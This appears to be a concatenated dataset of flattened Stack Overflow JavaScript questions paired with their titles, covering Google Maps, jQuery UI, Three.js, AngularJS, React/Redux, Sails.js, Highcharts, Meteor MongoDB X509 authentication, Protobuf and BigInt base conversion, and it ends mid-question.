google.maps.LatLng ( item.Latitude , item.Longitude ) ; //Add info window to each marker var infowindow = new google.maps.InfoWindow ( { content : formatItemInfoWindow ( item ) } ) ; // Creating a marker and putting it on the map var marker = new google.maps.Marker ( { position : latLng , title : formatItemInfoWindow ( item.Name ) , infowindow : infowindow } ) ; marker.setMap ( map ) ; google.maps.event.addListener ( marker , 'click ' , function ( ) { //this.infowindow.close ( ) ; //not working correctly info windows still show this.infowindow.open ( map , marker ) ; } ) ; } ) ; } ) ; } ) ; function formatItemInfoWindow ( item ) { return item.Name + ' < br / > ' + item.Height_ft + ' < br / > ' + item.humidity + ' < br / > ' + item.snowCover + ' < br / > ' + item.temperature ; } function formatItem ( item ) { return item.Latitude + ' , '+ item.Longitude ; } } var layer = new google.maps.FusionTablesLayer ( { query : { select : 'geometry ' , from : '11RJmSNdTr7uC867rr2zyzNQ6AiE1hcREmGFTlvH3 ' where : //not sure if I could use this or what to put . } , < Mountain > < Height_ft > 2999 < /Height_ft > < Height_m > 914 < /Height_m > < ID > c1 < /ID > < Latitude > 57.588007 < /Latitude > < Longitude > -5.5233564 < /Longitude > < Name > Beinn Dearg < /Name > < humidity > 0.81 < /humidity > < snowCover > 4.99 < /snowCover > < temperature > 63 < /temperature > < /Mountain > private MountainContext db = new MountainContext ( ) ; // GET : api/Mountains public IQueryable < Mountain > GetMountains ( ) { return db.Mountains ; } // GET : api/Mountains/5 [ ResponseType ( typeof ( Mountain ) ) ] public IHttpActionResult GetMountain ( string id ) { Mountain mountain = db.Mountains.Find ( id ) ; if ( mountain == null ) { return NotFound ( ) ; } return Ok ( mountain ) ; } public IQueryable < Mountain > GetMountainByName ( string name ) { return db.Mountains.Where ( n = > string.Equals ( n.Name , name ) ) ; }","google maps , fusion tables and markers" "JS : I have a question with jQuery UI Accordion and Droppable.How can I Drag an item from # tab-1 to # tab-2 ? I have view the demo in jqueryui.com `` Sortable - Connect lists with Tabs '' , but I ca n't use this for Accordion : ( HTML : Script : < div id= '' tabs '' > < div id= '' tabs-1 '' > < h3 > A < /h3 > < div > < ul id= '' sortable1 '' class= '' connectedSortable ui-helper-reset '' > < li class= '' ui-state-default '' > Item 1 < /li > < li class= '' ui-state-default '' > Item 2 < /li > < li class= '' ui-state-default '' > Item 3 < /li > < li class= '' ui-state-default '' > Item 4 < /li > < li class= '' ui-state-default '' > Item 5 < /li > < /ul > < /div > < /div > < div id= '' tabs-2 '' > < h3 > B < /h3 > < div > < ul id= '' sortable2 '' class= '' connectedSortable ui-helper-reset '' > < li class= '' ui-state-highlight '' > Item 1 < /li > < li class= '' ui-state-highlight '' > Item 2 < /li > < li class= '' ui-state-highlight '' > Item 3 < /li > < li class= '' ui-state-highlight '' > Item 4 < /li > < li class= '' ui-state-highlight '' > Item 5 < /li > < /ul > < /div > < /div > $ ( function ( ) { $ ( `` # sortable1 , # sortable2 '' ) .sortable ( ) .disableSelection ( ) ; var $ tabs = $ ( `` # tabs '' ) .accordion ( { heightStyle : `` content '' , collapsible : true , header : `` > div > h3 '' , beforeActivate : function ( event , ui ) { $ ( `` # maps '' ) .width ( $ ( `` # tabsMap '' ) .innerWidth ( ) - $ ( `` # mapList '' ) .width ( ) - 34 ) ; } , activate : function ( event , ui ) { $ ( `` # maps '' ) .width ( $ ( `` # tabsMap '' ) .innerWidth ( ) - $ ( `` # mapList '' ) .width ( ) - 32 ) ; } } ) .sortable ( { axis : `` y '' , handle : `` h3 '' , stop : function ( event , ui ) { ui.item.children ( `` h3 '' ) .triggerHandler ( `` focusout '' ) ; } } ) ; } ) ;",Working with jQuery UI `` Accordion and Droppable '' "JS : I am trying my hands on WebGL using Three.js . I am a beginner and I decided to try out something similar to this . I have been able to achieve most of it . The issue I am currently facing is updating the raycaster and object after moving the canvas left . Whenever I hover after the canvas has been moved , it does n't reflect on the sphere except I move the mouse eastwards , some distance away from the sphere . I have checked out several posts , I tried moving the camera and sphere position to no avail.Here 's the code : let scene , camera , renderer ; var raycaster , mouse , INTERSECTED ; let SCREEN_WIDTH = window.innerWidthlet SCREEN_HEIGHT = window.innerHeightlet canvas = document.getElementById ( 'scene ' ) let objects = [ ] init ( ) ; animate ( ) ; $ ( `` .hamburger '' ) .on ( `` click '' , function ( ) { $ ( `` .hamburger '' ) .toggleClass ( `` active '' ) ; $ ( `` # scene '' ) .toggleClass ( `` slide-left '' ) ; ; } ) ; function init ( ) { renderer = new THREE.WebGLRenderer ( { canvas : canvas , antialias : true } ) ; renderer.setSize ( SCREEN_WIDTH , SCREEN_HEIGHT ) ; renderer.setClearColor ( 0x000000 ) ; scene = new THREE.Scene ( ) ; camera = new THREE.PerspectiveCamera ( 100 , SCREEN_WIDTH / SCREEN_HEIGHT , .1 , 10000 ) ; camera.position.set ( 0 , 0 , 10 ) ; camera.lookAt ( new THREE.Vector3 ( 0 , 0 , 0 ) ) ; var geometry = new THREE.SphereGeometry ( 5 , 32 , 32 ) ; var material = new THREE.MeshBasicMaterial ( { color : 0x00ff00 } ) ; sphere = new THREE.Mesh ( geometry , material ) ; objects.push ( sphere ) scene.add ( sphere ) ; raycaster = new THREE.Raycaster ( ) ; mouse = new THREE.Vector2 ( ) ; document.addEventListener ( 'mousemove ' , onDocumentMouseMove , false ) ; document.addEventListener ( 'mousemove ' , onHover , false ) ; document.addEventListener ( 'click ' , onClick , false ) ; window.addEventListener ( 'resize ' , render , false ) ; scene.add ( new THREE.AmbientLight ( 0x333333 ) ) ; var light = new THREE.DirectionalLight ( 0xffffff , 0.8 ) ; light.position.set ( 50 , 3 , 5 ) ; scene.add ( light ) ; } function animate ( ) { requestAnimationFrame ( animate ) ; render ( ) ; } function onDocumentMouseMove ( event ) { event.preventDefault ( ) ; mouse.x = ( event.clientX / SCREEN_WIDTH ) * 2 - 1 ; mouse.y = - ( event.clientY / SCREEN_HEIGHT ) * 2 + 1 ; } function onClick ( ) { raycaster.setFromCamera ( mouse , camera ) ; var intersects = raycaster.intersectObjects ( objects ) ; console.log ( `` I was click : `` , intersects ) } function onHover ( ) { raycaster.setFromCamera ( mouse , camera ) ; var intersects = raycaster.intersectObjects ( objects ) ; if ( intersects.length > 0 ) { if ( INTERSECTED ! = intersects [ 0 ] .object ) { if ( INTERSECTED ) INTERSECTED.remove ( INTERSECTED.sphere ) ; INTERSECTED = intersects [ 0 ] .object//.geometry ; var geometry = new THREE.SphereGeometry ( 5.1 , 32 , 32 ) ; var material = new THREE.MeshBasicMaterial ( { color : 0xff5521 , opacity : 0.01 } ) ; sphere1 = new THREE.Mesh ( geometry , material ) ; INTERSECTED.sphere = sphere1 INTERSECTED.add ( sphere1 ) ; } } else { if ( INTERSECTED ) INTERSECTED.remove ( INTERSECTED.sphere ) ; INTERSECTED = null ; } } function render ( ) { sphere.rotation.x += 0.01 camera.aspect = SCREEN_WIDTH / SCREEN_HEIGHT ; camera.updateProjectionMatrix ( ) ; renderer.render ( scene , camera ) ; } ; body { height : 100 % ; padding : 0 ; margin : 0 ; } # scene { position : relative ; height : 100 % ; -webkit-transition : transform .7s ease-in-out ; -moz-transition : transform .7s ease-in-out ; -ms-transition : transform .7s ease-in-out ; -o-transition : transform .7s ease-in-out ; transition : transform .7s ease-in-out ; } .bar { display : block ; height : 3px ; width : 30px ; background-color : # 00ff00 ; margin : 5px auto ; -webkit-transition : all .7s ease ; -moz-transition : all .7s ease ; -ms-transition : all .7s ease ; -o-transition : all .7s ease ; transition : all .7s ease ; } .hamburger { position : fixed ; right : 40px ; top : 20px ; z-index : 3 ; -webkit-transition : all .7s ease ; -moz-transition : all .7s ease ; -ms-transition : all .7s ease ; -o-transition : all .7s ease ; transition : all .7s ease ; } .hamburger.active .top { -webkit-transform : translateY ( 7px ) rotateZ ( 45deg ) ; -moz-transform : translateY ( 7px ) rotateZ ( 45deg ) ; -ms-transform : translateY ( 7px ) rotateZ ( 45deg ) ; -o-transform : translateY ( 7px ) rotateZ ( 45deg ) ; transform : translateY ( 7px ) rotateZ ( 45deg ) ; } .hamburger.active .bottom { -webkit-transform : translateY ( -10px ) rotateZ ( -45deg ) ; -moz-transform : translateY ( -10px ) rotateZ ( -45deg ) ; -ms-transform : translateY ( -10px ) rotateZ ( -45deg ) ; -o-transform : translateY ( -10px ) rotateZ ( -45deg ) ; transform : translateY ( -10px ) rotateZ ( -45deg ) ; } .hamburger.active .middle { width : 0 ; } .slide-left { -webkit-transform : translateX ( -250px ) ; -moz-transform : translateX ( -250px ) ; -ms-transform : translateX ( -250px ) ; -o-transform : translateX ( -250px ) ; transform : translateX ( -250px ) ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/three.js/86/three.min.js '' > < /script > < canvas id= '' scene '' > < /canvas > < div class= '' hamburger '' > < div class= '' bar top '' > < /div > < div class= '' bar middle '' > < /div > < div class= '' bar bottom '' > < /div > < /div >",Update Three.js Raycaster After CSS Tranformation "JS : Say I got this following HTML structure : Now , suppose NavCtrl needs to manipulate a model that happens to exist under RootCtrl 's scope - under which conditions would $ emit/ $ on be better suited ? And under which conditions would it be better to directly manipulate the model via scope inheritance ? < body ng-app= '' demo '' ng-controller= '' RootCtrl '' > < header > < ! -- Header Material -- > < /header > < main ng-controller= '' MainCtrl '' > < ! -- Main Content -- > < nav ng-controller= '' NavCtrl '' > < ! -- Navbar -- > < /nav > < /main > < body >","AngularJS - Which is better , $ emit/ $ on or scope inheritance ?" "JS : whenever mapDispatchToProps is called , it generates new functions to return . For example : Every time the mapDispatchToProps is called , it will generate a new object , with a new arrow function . In my application I often have to avoid re-rendering my components . Using a PureComponent is often the way to go . However , since the functions are always different , PureComponent wo n't help and I 'd have to create a shouldComponentUpdate strategy . There , I 'd have to `` blacklist '' all of the mapDispatchToProps functions and ignore all of them . I 'd have to add every new function to the list so it 'd avoid re-rendering.here is an example of the blacklist shouldComponentUpdate boilerplate : I 've come up with a new solutionthis way the functions are constant and wo n't trigger a re-rendering of a PureComponent and I do n't have to maintain a shouldComponentUpdate function.however this seems wrong to me.Is there a `` default '' way of dealing with this problem ? const mapDispatchToProps = function ( dispatch , ownProps ) { return { addToStack : ( episodeId , stackId ) = > { return dispatch ( StackAction.addEpisodeToStack ( episodeId , stackId ) ) ; } , } ; } const blacklist = [ 'addToStack ' , ] shouldComponentUpdate ( nextProps , nextState ) { for ( let i in nextProps ) { if ( blacklist.includes ( i ) ) continue ; if ( nextProps [ i ] ! == this.props [ i ] ) { return true ; } } for ( let i in nextState ) { if ( nextState [ i ] ! == this.state [ i ] ) { return true ; } } return false ; } const dispatch ; const mapDispatchToPropsFunctions = { addToStack : ( episodeId , stackId ) = > { return dispatch ( StackAction.addEpisodeToStack ( episodeId , stackId ) ) ; } , } ; const mapDispatchToProps = function ( dispatchArg , ownProps ) { dispatch = dispatchArg return mapDispatchToPropsFunctions ; }",How do I avoid re-rendering a connected React PureComponent due to mapDispatchToProps functions ? "JS : I 'm looking for an answer to what is the best practice to customize default sails.js CRUD blueprints . The simple example of what I mean is let 's say I need to create SomeModel , using standard blueprint POST \someModel action , and also I want to get information about authenticated user from req object and set this property to req.body to use values.user.id in beforeCreate function : I 'm very new to sails.js and do n't want to use anti-patterns , so I 'm asking for inputs on what is the right way to handle such cases . Also it would be great to have some good resources on that topic . module.exports = { attributes : { // some attributes } , beforeCreate : function ( values , cb ) { // do something with values.user.id } } ;",Best practice to change default blueprint actions in sails.js JS : Is there any differences betweenWhich one should we use ? var a ; ( a == undefined ) ( a === undefined ) ( ( typeof a ) == `` undefined '' ) ( ( typeof a ) === `` undefined '' ),What is the best way to compare a value against 'undefined ' ? "JS : From http : //requirejs.org/docs/api.html # i18n I found how to set the current locale , which is : But then , how can I read configuration inside some module to see the value of the current locale ? requirejs.config ( { config : { i18n : { locale : 'fr-fr ' } } } ) ;",How can I read locale property of Require.js config ? "JS : Whenever a non-integer pixel value is used for the border of an element , the browser simply truncates the value to become an integer . Why is this the case ? I 'm aware that the border will not actually take up part of a pixel , but these types of values are sometimes used in combination with others to form full pixels . For example , the left and right border having widths of 1.6px should cause the total width of the element to increase by 3px . This works because the full value is stored in memory and used for calculations.However , this seems to not be the case when rendering the border even though width , padding , and margin all behave correctly.When tested , the code produced the same results ( disregarding exact precision ) consistently . Most major browsers ( Chrome , Firefox , Opera ) behaved the same . The exceptions were Safari 5.1 ( which rendered padding and margin similar to border , but this is probably just due to the version ) and Internet Explorer ( which calculated the border-top-width correctly ) .Width , padding , and margin all were remembered as decimal values and allowed for padding to affect height accordingly , but border was not . It was truncated to an integer . Why is this specifically only the case width border ? Would there be any way to make the border value be remembered in a fuller form so that the true height of the element could be retrieved using JavaScript ? var div = document.getElementsByTagName ( 'div ' ) , len = div.length , style ; for ( var i = 0 ; i < len ; i++ ) { style = getComputedStyle ( div [ i ] ) ; div [ i ] .innerHTML = div [ i ] .className + ' : ' + style.getPropertyValue ( div [ i ] .className ) + ' < br > height : ' + style.getPropertyValue ( 'height ' ) ; } div { width : 300px ; border : 1px solid black ; padding : 50px 0 ; text-align : center ; -webkit-box-sizing : border-box ; -moz-box-sizing : border-box ; box-sizing : border-box ; } div.width { width : 300.6px ; } div.padding-top { padding-top : 50.6px ; } div.margin-top { margin-top : 0.6px ; } div.border-top-width { border-top-width : 1.6px ; } < div class= '' width '' > < /div > < div class= '' padding-top '' > < /div > < div class= '' margin-top '' > < /div > < div class= '' border-top-width '' > < /div >",Browsers truncate border values to integers "JS : I have a problem with Highcharts libraries . I have created various charts with the Custom Visualization tool available in Jaspersoft Studio . They do not use all the same library , e.g . I have a Bubble Map chart which uses Highmaps.js and a Stock chart which uses Highstock.js . Every report seems to work very well when I visualize it in Jaspersoft Server . But when I create a Dashboard containing two differents reports , I have this error : Uncaught Highcharts error # 16 : www.highcharts.com/errors/16 Highcharts already defined in the pageThis error happens the second time Highcharts or Highstock is loaded in the same page , so the Highcharts namespace is already defined . Keep in mind that the Highcharts.Chart constructor and all features of Highcharts are included in Highstock , so if you are running Chart and StockChart in combination , you only need to load the highstock.js file.I do understand that there is a conflict between Highmaps.js and Highstock.js as they have features in common . But I do not know how to avoid it : I need features from both Highmaps and Highstocks . Here is how I include those libraries to define my reports : -1st chart ( Stock chart ) -2nd chart ( Bubble map chart ) And here is how I write my build.js files : I used the Highstock example here , but I do quite the same with the report using Highmaps . I hope I am not the first one to have this problem , and if so , can anyone suggest me a method to avoid this library duplication ? EDITAs suggested , I tried replacing highmaps.js by highstock.js + map.js as follow : I now have an error 17 : The requested series type does not exist This error happens when you are setting chart.type or series.type to a series type that is n't defined in Highcharts . A typical reason may be that your are missing the extension file where the series type is defined , for example in order to run an arearange series you need to load the highcharts-more.js file.Now something is missing from Highmaps.js and I do not know what . Looking forward to suggestions.UPDATEI can avoid this error 17 by including Highcharts-more.js , but I still have this error 16 while running two charts . Here are the errors I have when I run my two reports in the same dashboard : define ( [ 'jquery ' , 'highstock ' ] , function ( hs_test ) { return function ( instanceData ) { /* ... */ } } ) ; define ( [ 'jquery ' , 'highmaps ' , 'data ' , 'world ' , 'exporting ' ] , function ( mapbubble ) { return function ( instanceData ) { /* ... */ } } ) ; ( { optimize : 'none ' , baseUrl : `` , paths : { jquery : 'jquery ' , highstock : 'highstock ' , exporting : 'exporting ' , 'highstock_test ' : 'highstock_test ' } , shim : { 'highstock ' : { deps : [ `` jquery '' ] , exports : 'Highcharts ' } } , name : `` highstock_test '' , out : `` highstock_test.min.js '' } ) define ( [ 'jquery ' , 'highstock ' , 'map ' , 'data ' , 'world ' , 'exporting ' ] , function ( $ , Highcharts ) { return function ( instanceData ) { /* ... */ } } )",Library duplication issue using Highcharts in Jaspersoft Studio "JS : I am trying to set up passwordless authentication between Meteor.js apps and Mongo server . To do that , I need to present pem and crt files to the connection . MONGO_URL connection string takes only parameters about how to perform auth , but no references to files with certs . I assume , I need to pass in the cert file to connection as a parameter . Similar as described in here . How to do it in Meteor.js ? Basically I want to achieve equivalent of doing : and then as described here this works fine when using mogo client , but within Meteor I have so far only gotten to the point of understanding that I would most likely need to use connection string below ( or something similar ) but question remains - how to pass certificates to the connection ? Update : there is answer that deals with the issue using native noddejs mongo driver . question is - how to port this to Meteor . Update 2015-12-31 : I have accepted the answer that points to using different connection object when defining the Collection . It is a hassle to do it for each collection separately , but it seems to be the only way this is doable right now . Also , if need arises , probably some MySslCollection can be created , that others can use to inherit connection details . This has not been tested . mongo mongo.example.com/example -ssl -sslPEMKeyFile client.pem -- sslCAFile server.crt db.getSiblingDB ( `` $ external '' ) .auth ( { mechanism : `` MONGODB-X509 '' , user : `` CN=myName , OU=myOrgUnit , O=myOrg , L=myLocality , ST=myState , C=myCountry '' } ) MONGO_URL=mongodb : //mongo.example.com:27017/example ? ssl=true & authSource= $ external & authMechanism=MONGODB-X509",Meteor.js connection to Mongo using X509 certificate auth JS : I am learning YUI and have occasionally seen this idiom : Why do they create a function just to invoke it ? Why not just write : For example see here . < script > ( function x ( ) { do abcxyz } ) ( ) ; < /script > < script > do abcxyz < /script >,JavaScript idiom : create a function only to invoke it "JS : Consider this example of pretty standard method in Angular Js , which updates the view : This is of course hypothetical example , but it nicely shows pattern , which could be described as reusing of local variables from within AJAX callbacks.Of course in both handlers ( success and error ) we are creating a closure over hugeData which is directly referenced from callback handlers.My question is : since the result of AJAX call can be only either success or failure , will reusing of this code cause the memory leak over time ? I would answer `` yes '' , but I could n't reliably prove this one in my local tests.I 'd like some more experienced guru to explain this one for me . I 'd love response from anyone working with Angular on daily basis , but any jquery responses are welcome as well . $ scope.fetchResults = function ( ) { // Some local variable that will cause creation of closure var hugeData = serviceX.getMilionRecords ( ) ; // Any call to any resource with success and error handlers . $ http ( { method : `` GET '' , url : `` /rest-api/bulk-operation-x '' , params : { someParam : hugeData.length } } ) .success ( function ( ) { var length = hugeData.length ; $ scope.reportToUser ( `` Success , that was `` + length + `` records being processed ! `` ; } ) .error ( function ( ) { var length = hugeData.length ; $ scope.reportToUser ( `` Something went wrong while processing `` + length + `` records ... : - ( `` ; } ) ; } ;",Is this AJAX pattern a memory leak ? "JS : I 'm wanting to replace the following code to no longer rely on the _.each ( ) function of underscore.js or lodash.js : Ideally , I want to use a vanilla JavaScript for loop , but I do n't understand how the _.each ( ) function in underscore/lodash works to replace it ... Something like : But , I do n't know how to get the key and item in this way ... dataDefault looks like : An example of calling the function would be : function fset ( data ) { _.each ( dataDefault , function ( item , key ) { var val = ( data [ key ] ? data [ key ] : dataDefault [ key ] ) ; $ rootScope.meta [ key ] = val ; } ) ; } ; for ( var i=0 ; i < data.length ; i++ ) { var val = ( data [ key ] ? data [ key ] : dataDefault [ key ] ) ; $ rootScope.meta [ key ] = val ; } var dataDefault = { title : null , description : null } ; meta.fset ( { title : 'Hello world ' , description : 'DESC ' } ) ;",Replacing underscore or lodash _.each with vanilla for loop "JS : I 'm using IE11 now , I thought it would be nice to have some additional tools for web developing . I was always using these tags to detect old crappy IE browsers : I set IE11 to IE8-9 compatibility but it ignores the above tags . If there 's no way to turn them ON then i do n't understand why they made these tools -.- ' Where is the logic ? Anyway do I need to install win 7 only for IE 8-9 ? http : //www.browserstack.com < - I 'd prefer client than remote access . Is there something like patch for this `` modern '' browser to make developer tools usable ? Or maybe there is another way to detect old browsers with a really lightweight script . < ! -- [ if lt IE 7 ] > < html class= '' ie ie6 some-custom-class '' > < ! [ endif ] -- > < ! -- [ if IE 7 ] > < html class= '' ie ie7 some-custom-class '' > < ! [ endif ] -- > < ! -- [ if IE 8 ] > < html class= '' ie ie8 some-custom-class '' > < ! [ endif ] -- > < ! -- [ if IE 9 ] > < html class= '' ie ie9 some-custom-class '' > < ! [ endif ] -- > < ! -- [ if gt IE 9 ] > < html class= '' ie some-custom-class '' > < ! [ endif ] -- > < ! -- [ if ! IE ] > < ! -- > < html class= '' some-custom-class '' > < ! -- < ! [ endif ] -- >",IE 11 - developer tools and detecting old IE browsers "JS : I have an immutable Map like the followingI want to update the key selected within the list . As per immutable.js docs for list.update . Returns a new List with an updated value at index with the return value of calling updaterHowever , if I do thisand , check the object equality , it gives me true.What am I doing wrong here ? Is n't that how immutable.js is supposed to work ? var mapA = Map ( { listA : List.of ( { id : 1 , name : 'Name A ' , selected : false } , { id : 2 , name : 'Name B ' , selected : false } ) } ) ; var listB = mapA.get ( 'listA ' ) .update ( 1 , function ( item ) { item.selected = true ; return item ; } ) ; console.log ( listB === x.get ( 'listA ' ) ) ; // true",How to update immutable List to get a new List "JS : I 'm having trouble getting new Function to work in a Web Worker . I have an HTML page that spawns a Web Worker . This Web Worker executes code through new Function ( str ) . I 'm trying to use this in a packaged Chrome app , which requires a page using eval-like code to be explicitly listed as a sandboxed page in the manifest.Now , there are two options : Do list the page to be sandboxed . If I do so , I can use new Function , but I can not spawn a Web Worker because I can not make any requests ( the sandboxed page has a unique origin ) . new Worker ( ... ) throws a SECURITY_ERR.new Function works in sandboxnew Worker fails in sandbox due to unique originDo n't list the page to be sandboxed . If I do so , I can spawn a Web Worker , but the worker can not use new Function because it is n't sandboxed . new Function ( ... ) throws an EvalError complaining about the use of it.new Function fails in non-sandbox due to being eval-likenew Worker works in non-sandboxMy CSP is as follows : What can I do to get new Function working in a Web Worker ? sandbox allow-scripts script-src 'self ' 'unsafe-eval ' ; object-src 'self '",Enable 'new Function ' in a Web Worker with CSP "JS : I recently came across this great post by Dr. Axel Rauschmayer : http : //www.2ality.com/2015/02/es6-classes-final.htmlThe following snippet roughly describes how ECMAScript 6 prototype chains work from an ECMAScript 5 point of view ( section 4.2 of the original post ) : '' Under the hood '' view in ECMAScript 5 : While in the code above I understand that this is valid : because of this : I 'm struggling to understand why this is also true since I ca n't find any `` ES5 '' explanation : Maybe a line like this is missing.. ? Thank you all in advance . // ECMAScript 6class Point { constructor ( x , y ) { this.x = x ; this.y = y ; } ··· } class ColorPoint extends Point { constructor ( x , y , color ) { super ( x , y ) ; this.color = color ; } ··· } let cp = new ColorPoint ( 25 , 8 , 'green ' ) ; // ECMAScript 5 // Instance is allocated herefunction Point ( x , y ) { // Performed before entering this constructor : this = Object.create ( new.target.prototype ) ; this.x = x ; this.y = y ; } ···function ColorPoint ( x , y , color ) { // Performed before entering this constructor : this = uninitialized ; this = Reflect.construct ( Point , [ x , y ] , new.target ) ; // ( A ) // super ( x , y ) ; this.color = color ; } Object.setPrototypeOf ( ColorPoint , Point ) ; ···let cp = Reflect.construct ( // ( B ) ColorPoint , [ 25 , 8 , 'green ' ] , ColorPoint ) ; // let cp = new ColorPoint ( 25 , 8 , 'green ' ) ; Object.getPrototypeOf ( ColorPoint ) === Point //true Object.setPrototypeOf ( ColorPoint , Point ) ; Object.getPrototypeOf ( ColorPoint.prototype ) === Point.prototype // true Object.setPrototypeOf ( ColorPoint.prototype , Point.prototype ) ;",Prototype chains in ECMAScript 6 "JS : I was watching Matthew Podwysocki event on https : //www.youtube.com/watch ? v=zlERo_JMGCw 29:38Where he explains how they solved scroll on netflix . Where user scroll for more data as previous data gets cleaned up and more adds up ( but scroll back shows previous data again ) .I wanted to do similar , but I grabbed netflix demo code : But I 'm bit confused on how to pass new data or page data according to the scroll here.. Can someone give little explanation on how I can do the following : fetch first list ( I can do that ) fetch more list as user scroll down ( using paging next page ) remove previous fetched data from memory , and refetch on request ( scroll up ) . function getRowUpdates ( row ) { var scrolls = Rx.Observable.fromEvent ( document , 'scroll ' ) ; var rowVisibilities = scrolls.throttle ( 50 ) .map ( function ( scrollEvent ) { return row.isVisible ( scrollEvent.offset ) ; } ) .distinctUntilChanged ( ) ; var rowShows = rowrowVisibilities.filter ( function ( v ) { return v ; } ) ; var rowHides = rowrowVisibilities.filter ( function ( v ) { return ! v ; } ) ; return rowShows .flatMap ( Rx.Observable.interval ( 10 ) ) .flatMap ( function ( ) { return row.getRowData ( ) .takeUntil ( rowHides ) ; } ) .toArray ( ) ; }",RxJS Polling for row updates on infinite scroll "JS : in my project , I register different functions ( having different number of arguments ) as listeners to a number of events . When the event takes place , I need to fire the associated function . I receive the parameters to be passed to listener method in the form of an array whereas the listener function expect each separate argument . So , I am doing it like this but I do not like the approach and would like to know if there is an elegant way of doing it , function callListenerWithArgs ( func , args ) { switch ( args.length ) { case 1 : func ( args [ 0 ] ) ; break ; case 2 : func ( args [ 0 ] , args [ 1 ] ) ; break ; case 3 : func ( args [ 0 ] , args [ 1 ] , args [ 2 ] ) ; break ; case 4 : func ( args [ 0 ] , args [ 1 ] , args [ 2 ] , args [ 3 ] ) ; break ; default : func ( ) ; } }",Javascript unknown number of arguments "JS : I have some elements that I 'm applying CSS3 Transitions on by adding a new class.HTMLCSSjQueryWhen I clone the .child element before adding the new class , and then I add the new class , transitions are applied immediately , not after 4sec.Check out this fiddle . < div id= '' parent '' > < div class= '' child '' > < /div > < /div > .child { background : blue ; -webkit-transition : background 4s ; -moz-transition : background 4s ; transition : background 4s ; } .newChild { background : red ; } $ ( `` .child '' ) .addClass ( `` newChild '' ) ;",CSS3 Transitions are applied instantaneously on Cloned Elements "JS : I would like to send an object from a WebApi controller to an Html page through an Ajax Request.When I receive the object in JS , it 's empty . But server-side the object is n't empty because when I look at the byte [ ] .length it 's greater than 0.Server-side , I use the dll provided by Google.JS side , I use the ProtobufJS library . This is my .proto file : Server code : container.Models.Add ( model ) ; Base64 data : ChEKBFRlc3QQARkfhetRuB4JQA==JS decoding : Result object in JS console : bytebuffer.jsprotobuf.js v5.0.1 syntax= '' proto3 '' ; message Container { repeated TestModel2 Models = 1 ; } message TestModel2 { string Property1 = 1 ; bool Property2 = 2 ; double Property3 = 3 ; } var container = new Container ( ) ; var model = new TestModel2 { Property1 = `` Test '' , Property2 = true , Property3 = 3.14 } ; var ProtoBuf = dcodeIO.ProtoBuf ; var xhr = ProtoBuf.Util.XHR ( ) ; xhr.open ( /* method */ `` GET '' , /* file */ `` /XXXX/Protobuf/GetProtoData '' , /* async */ true ) ; xhr.responseType = `` arraybuffer '' ; xhr.onload = function ( evt ) { var testModelBuilder = ProtoBuf.loadProtoFile ( `` URL_TO_PROTO_FILE '' , `` Container.proto '' ) .build ( `` Container '' ) ; var msg = testModelBuilder.decode64 ( xhr.response ) ; console.log ( JSON.stringify ( msg , null , 4 ) ) ; // Correctly decoded } xhr.send ( null ) ; { `` Models '' : [ ] }",Protobuf : WebApi - > JS - Decoded object is empty "JS : I am trying to converting normal bootstrap template into angular website . I am facing issue in routing while navigating from one page to another like About to Contact vice versa.The template already has below format which using some css for smooth scrolling with help of hashtag # .my app.compo.htmlBefore : < li > < a href= '' # header '' > About < /a > < /li > after : < li > < a routerLink= '' /about '' routerLinkActive= '' active '' href= '' # header '' > About < /a > < /li > app.routing.tsAfter I hit npm start , its showing like below in my consoleThis is my first attempt with angular 2 . I am not able to understand official docs and other related threads for my issue.kindly direct me to right way . if possible please share some plunker or stackblitz example < a href= '' # header '' id= '' btp '' class= '' back-to-top btn-floating waves-effect waves-light btn-large custom-btn '' > < i class= '' ion-ios-arrow-up '' > < /i > < /a > const routes : Routes = [ { path : `` , redirectTo : 'about ' , pathMatch : 'full ' } , { path : 'about ' , component : about , data : { state : 'about ' } } , { path : 'contact ' , component : contact , data : { state : 'contact ' } } , ] ; export const AppRouting = RouterModule.forRoot ( routes , { useHash : true } ) ; ** NG Live Development Server is listening on localhost:4200 , open your browser on http : //localhost:4200/ **Date : 2018-04-05T05:55:06.359ZHash : 0bace8e39ad063fd5145Time : 3614mschunk { inline } inline.bundle.js ( inline ) 3.85 kB [ entry ] [ rendered ] chunk { main } main.bundle.js ( main ) 2.91 kB [ initial ] [ rendered ] chunk { polyfills } polyfills.bundle.js ( polyfills ) 577 bytes [ initial ] [ rendered ] chunk { styles } styles.bundle.js ( styles ) 46 kB [ initial ] [ rendered ] chunk { vendor } vendor.bundle.js ( vendor ) 852 kB [ initial ] [ rendered ] ERROR in Can not read property 'length ' of undefinedwebpack : Failed to compile .",Issue in Routing - Hash Tag - Angular 2 "JS : Saw an interesting piece of code to find a lonely number in a list of duplicate numbers ( where every number in the list occurs twice except for one ) .This solution looks very elegant , but I 'm curious at to what the ^= operator is actually doing here ? function findNonPaired ( listOfNumbers ) { let nonPairedNumber = 0 listOfNumbers.forEach ( ( n ) = > { nonPairedNumber ^= n } ) return nonPairedNumber } const x = [ 1,5,4,3,9,2,3,1,4,5,9 ] console.log ( findNonPaired ( x ) )",What does the `` ^= '' operator do in this find non-paired number algorithm ? "JS : I 'm trying to implement a BigInt type in JavaScript using an array of integers . For now each one has an upper-bound of 256 . I 've finished implementing all integer operations , but I ca n't figure out how to convert the BigInt to its string representation . Of course , the simple way is this : But when the BigInts actually get big , I wo n't be able to convert by adding anymore . How can I convert an array of base-x to an array of base-y ? BigInt.prototype.toString = function ( base ) { var s = `` , total = 0 , i , conv = [ , , '01 ' , '012 ' , '0123 ' , '01234 ' , '012345 ' , '0123456 ' , '01234567 ' , '012345678 ' , '0123456789 ' , , , , , , '0123456789abcdef ' ] ; base = base || 10 ; for ( i = this.bytes.length - 1 ; i > = 0 ; i -- ) { total += this.bytes [ i ] * Math.pow ( BigInt.ByteMax , this.bytes.length - 1 - i ) ; } while ( total ) { s = conv [ base ] .charAt ( total % base ) + s ; total = Math.floor ( total / base ) ; } return s || ' 0 ' ; } ;",Unlimited-size base conversion ? "JS : I did this by accident ... Why was n't there an error message ? push needs parentheses , not square brackets . It was just a simple typo . I was n't paying close enough attention to what I was doing ... but why was n't there an error message ? As far as I can tell , the numbers array was n't modified in any way . It just did ... nothing . var numbers = [ 1 , 2 , 3 , 4 ] ; numbers.push [ 5 ] ;",JavaScript array ` push ` with square brackets instead of parentheses - no error ? "JS : I have a set of breakpoints and I 'd like to fire an event every time one is passed . Currently , I 'm using $ 